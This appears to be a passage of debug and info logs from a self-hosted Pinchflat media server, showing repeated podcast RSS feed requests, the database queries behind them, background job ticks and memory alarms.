[:maybe_basic_auth] 22:15:49.309 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=385.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:15:49.312 [debug] QUERY OK source="media_items" db=1.3ms queue=0.6ms idle=347.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:15:49.313 [debug] QUERY OK source="source_metadata" db=0.1ms queue=0.3ms idle=351.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:15:49.315 [debug] QUERY OK source="media_metadata" db=0.7ms idle=351.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:15:49.315 [info] Sent 200 in 7ms 22:15:59.980 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:16:00.200 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:01.084 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:18.246 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:16:18.283 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:16:18.284 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1321.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:16:18.317 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=1354.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:16:18.417 [debug] QUERY OK source="source_metadata" db=0.6ms queue=0.1ms idle=1454.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:16:18.419 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.2ms idle=1430.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:16:18.420 [info] Sent 200 in 174ms 22:16:31.087 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.202 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:01.090 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:31.093 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.250 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:01.096 [info] {"source":"oban","duration":2547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:31.098 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.252 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:01.101 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:31.104 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.254 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:01.107 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:29.623 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:20:29.623 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:20:29.625 [debug] QUERY OK source="sources" db=1.3ms idle=1657.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:20:29.628 [debug] QUERY OK source="media_items" db=0.9ms queue=1.3ms idle=828.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:20:29.631 [debug] QUERY OK source="source_metadata" db=0.3ms queue=0.2ms idle=664.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:20:29.632 [debug] QUERY OK source="media_metadata" db=0.5ms idle=665.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:20:29.632 [info] Sent 200 in 9ms 22:20:31.109 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.256 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:01.114 [info] {"source":"oban","duration":3055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:31.117 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:52.713 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:21:52.713 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:21:52.716 [debug] QUERY OK source="sources" db=1.5ms idle=1748.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:21:52.718 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1750.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:21:52.719 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1752.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:21:52.720 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=1716.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:21:52.721 [info] Sent 200 in 8ms 22:22:00.023 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:22:00.258 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:01.120 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:31.122 [info] {"source":"oban","duration":1787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.260 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:01.125 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:31.128 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.262 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:01.132 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:31.134 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:51.440 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:24:51.440 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:24:51.442 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1475.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:24:51.444 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=974.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:24:51.487 [debug] QUERY OK source="source_metadata" db=41.4ms idle=479.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:24:51.488 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=521.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:24:51.489 [info] Sent 200 in 48ms 22:25:00.265 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:01.137 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:31.140 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.053 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:26:00.266 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:01.142 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:31.145 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.268 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:01.148 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:23.188 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:27:23.189 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:27:23.190 [debug] QUERY OK source="sources" db=1.1ms idle=1223.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:27:23.193 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=329.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:27:23.194 [debug] QUERY OK source="source_metadata" db=0.5ms idle=227.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:27:23.196 [debug] QUERY OK source="media_metadata" db=1.0ms queue=0.3ms idle=228.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:27:23.197 [info] Sent 200 in 8ms 22:27:31.151 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.270 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:01.153 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:31.155 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.272 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:01.158 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:31.160 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:48.017 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:29:48.018 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:29:48.019 [debug] QUERY OK source="sources" db=1.5ms idle=1051.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:29:48.022 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1053.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:29:48.023 [debug] QUERY OK source="source_metadata" db=0.2ms queue=0.4ms idle=1056.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:29:48.024 [debug] QUERY OK source="media_metadata" db=0.3ms idle=1057.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:29:48.025 [info] Sent 200 in 7ms 22:30:00.274 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:01.163 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:31.165 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.276 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:01.173 [info] {"source":"oban","duration":4697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:31.177 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.098 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:32:00.279 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:01.180 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:31.183 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:55.638 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:32:55.639 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:32:55.640 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=935.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:32:55.642 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=674.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:32:55.644 [debug] QUERY OK source="source_metadata" db=0.3ms idle=676.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:32:55.645 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=677.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:32:55.645 [info] Sent 200 in 7ms 22:33:00.280 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:01.185 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:31.187 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.282 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:01.190 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:31.193 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.284 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:01.196 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:22.054 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:35:22.055 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:35:22.057 [debug] QUERY OK source="sources" db=0.9ms queue=0.8ms idle=1088.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:35:22.060 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1090.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:35:22.062 [debug] QUERY OK source="source_metadata" db=0.4ms idle=946.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:35:22.063 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms 